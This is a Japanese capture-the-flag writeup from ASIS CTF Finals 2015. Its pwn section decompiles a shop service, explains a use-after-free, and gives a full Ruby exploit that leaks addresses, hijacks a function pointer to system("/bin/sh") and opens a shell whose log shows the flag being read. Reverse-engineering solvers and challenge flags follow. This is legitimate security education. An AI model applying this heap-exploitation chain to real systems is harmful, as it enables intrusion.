ASIS CTF Finals 2015 writeup
ASIS CTF Finals 2015にscryptosで参加しました。
チームで17問解いて2576ptの9位、
私は6問解いて1000pt(+アシスト1問100pt)入れました(*´ω`*)
calcexec解けなかったのがつらい⊂⌒っ*-ω-)っ
解けなかったpwn問の復習がんばります……
解いた問題のwriteupを置いておきます(`・ω・´)
Shop-2 (pwn 300)
$ ./bragisdumu-shop The Official Bragisdumus Shop (guest password: guest) Username: guest Password: guest Logged in as guest Menu: 1) list bragisdumus 2) order a bragisdumu 3) view my order 4) add new bragisdumu (admin only) 5) remove bragisdumu (admin only) 8) logout 9) exit Choose:
CTFでよくある、何かが買えるサービス。
Shop-1はadminのパスワードをリークさせる問題で、Shop-2はシェルを取る問題だった。
(Shop-1は脆弱性探しのみを担当し、exploitは193sさんにお願いした)
恒例の下調べ。
$ checksec.sh --file bragisdumu-shop RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH bragisdumu-shop
一部をCに直すとこんな感じ。
typedef struct{ //size=0x88 int id; //+0x0 char is_available; //+0x4 char name[100]; //+0x5 char is_most_popular; //+0x69 char _padding[6]; //+0x6a double price; //+0x70 int count; //+0x78 char _padding[4]; //+0x7c (void (*func)(Bragisdumu*)); //+0x80 } Bragisdumu; Bragisdumu bragisdumus[8] = { //0x204020 { //(snip) }, { //(snip) } { 2, //id 1, //is_available "Knight Rider Radar", //name 1, //is_most_popular "", //padding 10000000.0, //price 2, //count "", //padding view_knight_rider_rader //func }, //(snip) }; Bragisdumu empty = {0}; //0x204460 Bragisdumu *orders[16] = {empty, empty, ..., empty}; //0x204500 void view_knight_rider_rader(){ //0x1275 //かっちょいいAAを表示する } char *read_line_inner(int *_out_readsize){ //0x10e5 int *out_readsize = _out_readsize; //rbp-0x28 int capacity; //rbp-0x18 int c; //rbp-0x14 char *buf; //rbp-0x10 long canary; //rbp-0x8 capacity = 8; buf = (char*)malloc(capacity); *out_readsize = 0; while(1){ if((c = getchar()) == -1){ puts("Input EOF!"); exit(0); } if(*out_readsize >= capacity){ capacity <<= 1; buf = realloc(capacity); } if(c == '\n'){ break; } buf[*out_readsize] = c; *out_readsize += 1; } return buf; } void read_line(char *_buf, int _maxlength){ //0x11b9 int maxlength = _maxlength; //rbp-0x2c char *buf = _buf; //rbp-0x28 int readsize; //rbp-0x18 int var_14; //rbp-0x14 char *inner_buf; //rbp-0x10 long canary; //rbp-0x8 inner_buf = read_line_inner(&readsize); if(readsize > maxlength){ var_14 = maxlength; }else{ var_14 = readsize; } memcpy(buf, inner_buf, var_14); //[!] no null termination free(inner_buf); } void order_bragisdumus(){ //0x1b14 Bragisdumu* bragisdumu; //rbp-0x10 char var_1e; //rbp-0x1e char var_1d; //rbp-0x1d int i; //rbp-0x1c int j; //rbp-0x18 int selection; //rbp-0x14 long canary; //rbp-0x8 printf("Choose a Bragisdumu to order: "); selection = read_int(); var_1e = 0; for(i = 0; i < 8; i++){ if(selection == 0 || bragisdumus[i].id != selection){ continue; } var_1e = 1; if(bragisdumus[i].count == 0){ puts("Nah. I don't have any. So sad. :("); continue; } bragisdumus[i].count -= 1; var_1d = 0; for(j = 0; j < 9; j++){ if(!orders[j]->is_available){ bragisdumu = (Bragisdumu*)malloc(sizeof(Bragisdumu)); memcpy(bragisdumu, &bragisdumus[i], sizeof(Bragisdumu)); orders[j] = bragisdumu; puts("Your order has been placed successfully!"); var_1d = 1: break; } } if(var_1d != 1){ puts("Doh! Looks like your order list is full. Please wait until the next shipment."); } } if(var_1e != 1){ puts("Invalid Bragisdumu index!"); } } void view_my_order(){ //0x1cf8 char has_order; //rbp-0x11 int i; //rbp-0x10 int selection; //rbp-0xc long canary; //rbp-0x8 puts("Bragisdumu orders:"); has_order = 0; for(i = 0; i < 9; i++){ if(orders[i]->is_available == 1){ printf(" #%d: %s, price: $%0.2lf %s\n", i + 1, orders[i]->name, orders[i]->price, orders[i]->is_most_popular ? "( most popular <3 )" : ""); has_order = 1; } } if(has_order != 1){ puts(" You have no orders."); return; } printf("\nDo you want to preview one of your orders? "); selection = read_int() - 1; if(0 <= selection && selection < 9 && orders[selection]->is_available == 1){ orders[selection]->func(orders[selection]); }else{ puts("Hahahahaha... NO."); } } void remove_bragisdumu(){ //0x200b char found; //rbp-0x16 char is_empty; //rbp-0x15 int i; //rbp-0x14 int j; //rbp-0x10 int selection; //rbp-0xc long canary; //rbp-0x8 printf("Choose a Bragisdumu to remove: "); selection = read_int(); putchar('\n'); found = is_empty = 0; for(i = 0; i < 8; i++){ if(bragisdumus[i].id == selection){ found = 1; if(bragisdumus[i].count == 0){ is_empty = 1; bragisdumus[i].is_available = 0; }else{ is_empty = 0; } break; } } if(!found){ puts("Invalid Bragisdumu index!"); return; } if(!is_empty != 0){ puts("You cannot remove a Bragisdumu which is on stock"); } for(j = 0; j < 9; j++){ if(orders[j]->id == selection){ free(orders[j]); //[!] use-after-free } } } int main(){ //0x21fa char is_admin; //rbp-0x85 int selection; //rbp-0x84 int filesize; //rbp-0x80 char *adminpass; //rbp-0x78 char username[32]; //rbp-0x70 char password[64]; //rbp-0x50 int var_10; //rbp-0x10 long canary; //rbp-0x8 setbuf(stdout, 0); while(1){ LOGIN: puts("The Official Bragisdumus Shop"); puts(" (guest password: guest)\n"); is_admin = 0; while(1){ printf("Username: "); read_line(username, 32); printf("Password: "); read_line(password, 64); if(memcmp(username, "guest", 5) == 0 && memcmp(password, "guest", 5) == 0){ goto LOGIN_SUCCESSFUL; } var_10 = memcmp(username, "admin", 5); if(var_10){ puts("Unknown username or password!"); putchar('\n'); continue; } adminpass = read_file("adminpass.txt", &filesize); var_10 = memcmp(password, adminpass, filesize); free(adminpass); if(!var_10){ is_admin = 1; }else{ puts("Unknown username or password!"); putchar('\n'); continue; } LOGIN_SUCCESSFUL: while(1){ show_menu(); printf("Choose: "); selection = read_int(); putchar('\n'); if(!is_admin && (selection == 4 || selection == 5)){ puts("No admin. No good."); continue; } switch(selection){ case 1: list_bragisdumus(); break; case 2: list_bragisdumus(); putschar('\n'); order_bragisdumus(); break; case 3: view_my_order(); break; case 4: add_new_bragisdumu(); break; case 5: list_bragisdumus(); putchar('\n'); remove_bragisdumu(); break; case 8: goto LOGIN; case 9: exit(0); default: puts("Invalid menu index!"); break; } } } } }
remove_bragisdumu
関数内にfree(orders[j]);
があるが、ここでfree
した後もorders[j]
に入っているポインタが参照可能なまま、というUse-After-Freeの脆弱性がある。
read_line_inner
関数のバッファもヒープ上に確保されるため、
order_bragisdumus
関数でヒープ上にBragisdumu
を確保remove_bragisdumu
関数でfree(ポインタは参照可能なまま)- 一旦ログアウト
- ログインアカウント情報入力時の
read_line_inner
関数で、ヒープ上に残っているBragisdumu
を任意のデータで上書き
※このとき、Bragisdumu.is_available
が1になるように上書きする必要あり
という状態でview_my_order
関数を呼ぶことで、Bragisdumu
上のデータをリークさせたり任意の関数を呼び出したりできる。
今回はPIEバイナリなので、
order[1]->func
の手前まで上書きし、view_my_order
関数のorder[1]->name
出力部でorder[1]->func
のアドレスをリークしてバイナリのベースアドレスを求めるorder[1]->func
をprintf@plt
に上書きし、(なぜか)スタック上に転がってたstdoutのアドレスをfsbでリークしてlibcのベースアドレスも求めるorder[1]->func
をsystem
に上書きし、system("/bin/sh")
でシェル起動
という手順で攻略した。
(order[0]
だとorder[0]->is_available
がヒープチャンクの管理情報で上書きされてしまうので使えない)
#coding:ascii-8bit require_relative "../../pwnlib" AdminPass = "ASIS{304b0f16eb430391c6c86ab0f3294211}" remote = true if remote host = "185.106.120.220" port = 1337 libc_offset = { "stdout" => 0x3bf400, "system" => 0x46640 } else host = "localhost" port = 54321 libc_offset = { "stdout" => 0x3bf400, "system" => 0x46640 } end plt_offset = { "printf" => 0xda0 } def login(tube, username, password) tube.recv_until("Username: ") tube.send(username + "\n") tube.recv_until("Password: ") tube.send(password + "\n") end def order_bragisdumu(tube, number) tube.recv_until("Choose: ") tube.send("2\n") tube.recv_until("Choose a Bragisdumu to order: ") tube.send(number.to_s + "\n") end def view_order(tube, number) tube.recv_until("Choose: ") tube.send("3\n") tube.recv_until("Do you want to preview one of your orders?") tube.send(number.to_s + "\n") end def remove_bragisdumu(tube, number) tube.recv_until("Choose: ") tube.send("5\n") tube.recv_until("Choose a Bragisdumu to remove: ") tube.send(number.to_s + "\n") end def logout(tube) tube.recv_until("Choose: ") tube.send("8\n") end PwnTube.open(host, port){|tube| tube.wait_time = 0 puts "[*] login with admin" login(tube, "admin", AdminPass) puts "[*] prepare" 2.times{order_bragisdumu(tube, 3)} remove_bragisdumu(tube, 3) puts "[*] leak base address" # logout logout(tube) # overwrite structure payload = "" payload << "guest" payload << "A" * 143 payload << "\x01" # is_available payload << "A" * 123 # name login(tube, "guest", payload) # leak tube.recv_until("Choose: ") tube.send("3\n") base = tube.recv_capture(/A{123}(.+?), price/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x1275 printf("base = 0x%08x\n", base) tube.recv_until("Do you want to preview one of your orders?") tube.send("0\n") puts "[*] leak libc base" # logout logout(tube) # overwrite structure payload = "" payload << "guest" payload << "A" * 143 payload << "\x01" # is_available payload << "[%8$p]" # name payload << "A" * (123 - 6) payload << [base + plt_offset["printf"]].pack("Q") login(tube, "guest", payload) # leak view_order(tube, 2) libc_base = tube.recv_capture(/\[(0x[0-9a-f]+)\]/)[0].to_i(16) - libc_offset["stdout"] printf("libc base = 0x%08x\n", libc_base) puts "[*] trigger shell" # logout logout(tube) # overwrite structure payload = "" payload << "guest" payload << "A" * 143 payload << "\x01" # is_available payload << ";/bin/sh;" payload << "A" * (123 - 9) payload << [libc_base + libc_offset["system"]].pack("Q") login(tube, "guest", payload) view_order(tube, 2) tube.interactive }
$ ruby shop2.rb [*] connected [*] login with admin [*] prepare [*] leak base address base = 0x7f4823c5f000 [*] leak libc base libc base = 0x7f4823675000 [*] trigger shell [*] interactive mode sh: 1: AAAA☺: not found id uid=1000(flag) gid=1000(flag) groups=1000(flag) ls -la total 52 drwxr-x--- 2 root flag 4096 Oct 7 20:45 . drwxr-xr-x 3 root root 4096 Oct 7 20:42 .. -rw-r--r-- 1 root flag 220 Oct 7 20:42 .bash_logout -rw-r--r-- 1 root flag 3637 Oct 7 20:42 .bashrc -rw-r--r-- 1 root flag 675 Oct 7 20:42 .profile -r--r----- 1 root flag 38 Oct 7 20:43 adminpass.txt -r--r----- 1 root flag 39 Oct 7 20:52 flag -r-xr-x--- 1 root flag 19840 Sep 30 16:11 main -r-xr-x--- 1 root flag 178 Oct 10 07:35 start.sh cat flag ASIS{5249b4cc1527739c57fbd04ab14292ca} exit sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@�k#H: not found Menu: 1) list bragisdumus 2) order a bragisdumu 3) view my order 4) add new bragisdumu (admin only) 5) remove bragisdumu (admin only) 8) logout 9) exit Choose: 9 [*] end interactive mode [*] connection closed
FLAG:ASIS{5249b4cc1527739c57fbd04ab14292ca}
License (Reverse 125)
こんな感じの処理。
keyfile = open("_a\nb\tc_", "rb").read # check filesize size = keyfile.length if 44242 * size ** 5 - 45235 * size ** 4 - 1256 * size ** 3 + 14392 * size ** 2 - 59762 * size - 1949670109068 != 0 puts "wrong formatted key file" exit end # check format lines = keyfile.split("\n") if lines.count != 5 puts "wrong formatted key file" exit end # check contents code = "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW" if lines[0] ^ lines[1] != code[0...6] puts "registration failed" exit end if lines[1] ^ lines[3] ^ 0x23 != code[6...12] puts "registration failed" exit end if lines[3] ^ lines[2] != code[12...18] puts "registration failed" exit end if lines[3] ^ lines[4] ^ 0x23 ^ lines[2] != code[18...24] puts "registration failed" exit end if lines[3] != code[24...30] puts "registration failed" exit end # generate and print the flag puts "program successfully registered to #{flag}"
ファイルサイズ判別部分は単純な5次方程式になっているので、sageに解いてもらう。
sage: solve(-45235*x*x*x*x-1256*x*x*x+14392*x*x-59762*x-1949670109068+44242*x*x*x*x*x==0,x) [x == (虚数解4つ), x == 34]
単純に6byte×5行のファイルを作ればよさそう。
ソルバを書いてkeyfileを作り、licenseに読み込ませてフラグを取った。
#coding:ascii-8bit def xor(arg1, arg2, n = 0) if arg1.length != arg2.length raise "invalid length" end arg1.bytes.zip(arg2.bytes).map{|a, b| (a ^ b ^ n).chr}.join end code = "iKWoZLVc4LTyGrCRedPhfEnihgyGxWrCGjvi37pnPGh2f1DJKEcQZMDlVvZpEHHzUfd4VvlMzRDINqBk;1srRfRvvUW" line = Array.new(5) line[3] = code[24...30] line[2] = xor(line[3], code[12...18]) line[1] = xor(line[3], code[6...12], 0x23) line[0] = xor(line[1], code[0...6]) line[4] = xor(xor(line[3], code[18...24], 0x23), line[2]) open("keyfile", "wb"){|io| io.write(line.join("\n")) }
$ xxd keyfile 0000000: 746c 3947 5541 0a1d 276e 280f 0d0a 2f15 tl9GUA..'n(.../. 0000010: 3a15 1d33 0a68 6779 4778 570a 3439 0634 :..3.hgyGxW.49.4 0000020: 282e $ ./license program successfully registered to ASIS{8d2cc30143831881f94cb05dcf0b83e0}
FLAG:ASIS{8d2cc30143831881f94cb05dcf0b83e0}
Fake (Reverse 150)
ざっくりとCに直すとこんな感じ。
int main(int argc, char **argv){ long input = 0; //r8 char flag[]; //rsp + 0x0 if(argc < 2){ input = strtol(argv[1], NULL, 10); } *(unsigned long*)flag = input * 0x3cc6c7b7; *(unsigned long*)(flag + 8) = すごい計算 その1; *(unsigned long*)(flag + 16) = すごい計算 その2; *(unsigned long*)(flag + 24) = すごい計算 その3; *(unsigned long*)(flag + 32) = すごい計算 その4; puts(flag); }
フラグが"ASIS{"から始まることから、
input * 0x3cc6c7b7 ≡ 0x7b53495341 (mod 1 << 40)
となるinputを求めればよいことがわかる。
inputを求めてバイナリに与えるとフラグが出てきた。
$ ./fake 25313971399 ASIS{f5f7af556bd6973bd6f2687280a243d9}
FLAG:ASIS{f5f7af556bd6973bd6f2687280a243d9}
ASIS Hash (Reverse 150)
Rubyに直すとこんな感じの処理。
def get_hash(input) hash = 5381 for c in input.bytes hash *= 33 hash += c ^ 0x8f end hash end if get_hash(ARGV[0]) == 27221558106229772521592198788202006619458470800161007384471764 puts "Congratz, you got the flag :)" else puts "Sorry! flag is not correct!" end
バックトラックで探索した。(/ASIS{[0-9a-f]{32}}/
になる解がなかなか見つけられず迷走したのでコードが汚いorz)
#coding:ascii-8bit Key = 27221558106229772521592198788202006619458470800161007384471764 def get_hash(input) hash = 5381 for c in input.bytes hash *= 33 hash += c ^ 0x8f end hash end def get_chars (0x20..0x7e).select{|c| c.chr =~ /[0-9a-f]/}.sort{|a, b| get_hash(a.chr) <=> get_hash(b.chr)}.map(&:chr) end def test(flag) get_hash("ASIS{" + flag + "\x8f" * (32 - flag.length) + "}") end def solve(flag = "") if flag.length == 31 for c in @chars if test(flag + c) == Key return flag + c end end return nil end for c in @chars min = test(flag + c + "\x8f") max = test(flag + c + "\x70") if min <= Key && Key <= max result = solve(flag + c) if result return result end end end return nil end @chars = get_chars puts "ASIS{" + solve + "}"
$ ruby solver.rb ASIS{d5c808f5dc96567bda48be9ba82fc1d6} $ ./hash.elf ASIS{d5c808f5dc96567bda48be9ba82fc1d6} Congratz, you got the flag :)
FLAG:ASIS{d5c808f5dc96567bda48be9ba82fc1d6}
Exchange (Reverse 200)
Rubyに直すとこんな感じ。
#coding:ascii-8bit require "openssl" # 数直線上において、点mと点nを2:1に内分する点pの座標を求めるのと同じ # (get_dividing_point(0.0, 1.0) = 0.666666……) # ∴ get_dividing_point(m, n) ≒ (m + n * 2) / 3 # ただし、整数型のままで計算しているため、多少の誤差が発生する def get_dividing_point(m, n) v, v_ = [0, nil] while v != v_ v_ = v v = (m + n) / 2 m = n n = v end v end def main input = ARGV[0] # 入力をzero paddingして数値として扱う input_num = OpenSSL::BN.new(input.ljust(128, "\0"), 2) # ランダムな桁数で前半と後半に分ける r = rand(127) + 1 front = input_num.to_s[0...r].to_i back = input_num.to_s[r..-1].to_i # 気が遠くなるくらい時間のかかる関数に通す(やってることは簡単) part1 = get_dividing_point(front, back) part2 = get_dividing_point(back, 2 * front) # 結果を出力 open("flag_encrypted", "wb"){|io| io.write(OpenSSL::BN.new(part1).to_s(2)) io.write("\x00\x01\x02") io.write(OpenSSL::BN.new(part2).to_s(2)) } end main
バイナリの方ではget_dividing_point
関数に第3引数としてループ回数を指定できるようにし、そこに巨大な整数を渡すことで処理時間が膨大になるようにしていた。
与えられたflag_encryptedからpart1
とpart2
を取り出し、そこからfront
とback
を復元できればフラグが取れる。
まず、ソースより
get_dividing_point(front, back) == part1 get_dividing_point(back, 2 * front) == part2
が成り立つので、get_dividing_point(m, n) ≒ (m + 2 * n) / 3
より
(front + 2 * back) / 3 ≒ part1 (back + 4 * front) / 3 ≒ part2
となり、最終的に
front ≒ (-3 * half + 6 * half2) / 7 back ≒ (12 * half - 3 * half2) / 7
が導出できる。
誤差が不安だが、とりあえず試しにソルバを書いて、復元できるか見てみた。
#coding:ascii-8bit require "openssl" part1, part2 = open("flag_enc", "rb").read.split("\x00\x01\x02").map{|a| OpenSSL::BN.new(a, 2).to_i} front = (-3 * part1 + 6 * part2) / 7 back = (12 * part1 - 3 * part2) / 7 result = (front.to_s + back.to_s).to_i puts result.to_s(16) p OpenSSL::BN.new(result).to_s(2)
$ ruby solver.rb 576f6f772120796f7520617265203c8cb5f93667b76ae85923fc880a6bbd8fccaf778efb13c10fb1d33d13cec5ff091706415f186be12a461c0f6d7eaa33b2a6e620875a5bcab1a6f2a73dfa8eb4f0270b1c1aa1c59cadf7daf4bd7bb6802d28ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff59 "Woow! you are <\x8C\xB5\xF96g\xB7j\xE8Y#\xFC\x88\nk\xBD\x8F\xCC\xAFw\x8E\xFB\x13\xC1\x0F\xB1\xD3=\x13\xCE\xC5\xFF\t\x17\x06A_\x18k\xE1*F\x1C\x0Fm~\xAA3\xB2\xA6\xE6 \x87Z[\xCA\xB1\xA6\xF2\xA7=\xFA\x8E\xB4\xF0'\v\x1C\x1A\xA1\xC5\x9C\xAD\xF7\xDA\xF4\xBD{\xB6\x80-(\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFFY"
少しだけ復元できているっぽい。
最後の方が"\xff\xff\xff……\x59"となっているので、back
の方の誤差は256 - 0x59 = 167
と考え、front
の誤差をブルートフォースで当てて平文を復元した。
#coding:ascii-8bit require "openssl" part1, part2 = open("flag_enc", "rb").read.split("\x00\x01\x02").map{|a| OpenSSL::BN.new(a, 2).to_i} for i in 0..255 front = (-3 * part1 + 6 * part2) / 7 + i back = (12 * part1 - 3 * part2) / 7 + (0x100 - 0x59) result = (front.to_s + back.to_s).to_i if OpenSSL::BN.new(result).to_s(2) =~ /ASIS{[0-9a-f]{32}}/ puts result.to_s(16) puts OpenSSL::BN.new(result).to_s(2).strip end end
$ ruby solver.rb 576f6f772120796f752061726520676f6f64206174206d6174682120536f2074686520666c616720697320415349537b39336238333865636666613162313163326635626366373763323539363439347d2c20676f6f64206c75636b203a2d290000000000000000000000000000000000000000000000000000000000000000 Woow! you are good at math! So the flag is ASIS{93b838ecffa1b11c2f5bcf77c2596494}, good luck :-)
FLAG:ASIS{93b838ecffa1b11c2f5bcf77c2596494}
Calm down (Trivia 75)
こんな感じのテキストファイル(11MB)が与えられる。
----------Which one is flag?---------- ASIS{3ec56380920f6b4a8ab7c85fa f6f2667} ASIS{b3532aebaf2de7ea0fecdcf 80d91b29b} ASIS{5148d9cb3d97d7d1e9d74dc5 0942393c} ASIS{e9d89880e2c 31c00ef8008e830ff5268} ASIS{fcf88f318445bed04cc2fe5 8dca9e65b} ASIS{50480fe0160c98e7e1a7cd1266c 2d8e1} ASIS{137db0 a81079449a5303d94e46cce011} ASIS{6ecc4428eb9ed4bfe6ce989096 62a43b} ASIS{44dc19a4af8a4747 0019394dcb58a4b8} ASIS{2fa89f c6b0a188b83448f6e9372830b4} ASIS{a222df308beb2112419dd 1223b76f614} ASIS{fd96df4b589bd9eb9fc9b 60ffef82b62} ASIS{2ff7139510ce5124efdb65c65 47b4c5e} ASIS{138d33e62737a4705a 8649009ef98468} (snip)
/ASIS{[0-9a-f]{32}}/
でgrepして終了。
FLAG:ASIS{dc99999733dd1f4ebf8c199753c05595}